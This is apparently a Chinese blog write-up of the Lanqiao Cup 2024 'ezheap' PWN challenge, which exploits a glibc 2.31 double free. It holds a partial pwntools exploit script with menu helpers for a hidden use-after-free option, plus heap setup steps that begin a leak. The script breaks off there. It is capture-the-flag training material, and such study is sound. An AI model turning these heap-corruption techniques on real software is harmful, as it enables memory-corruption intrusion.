[蓝桥杯2024]-PWN:ezheap解析（堆glibc2.31，glibc2.31下的double free）

最新推荐文章于 2024-09-23 09:22:25 发布

沉淀ing。。。

最新推荐文章于 2024-09-23 09:22:25 发布

阅读量1k

点赞数 15

分类专栏： PWN 文章标签：蓝桥杯职场和发展

本文链接：https://blog.csdn.net/2301_79326813/article/details/138407063

版权

查看保护

查看ida

大致就是只能创建0x60大小的堆块，并且uaf只能利用一次

完整exp：

from pwn import*
#context(log_level='debug')
p=process('./ezheap2.31')

def alloc(content):
    p.sendlineafter(b'4.exit',b'1')
    p.send(content)
def free(index):
    p.sendlineafter(b'4.exit',b'2')
    p.sendline(str(index))
def show(index):
    p.sendlineafter(b'4.exit',b'3')
    p.sendline(str(index))
def uaffree(index):
    p.sendlineafter(b'4.exit',b'2106373')
    p.sendline(str(index))

for i in range(3):
    alloc(b'a')
for i in range(2,0,-1):
    free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')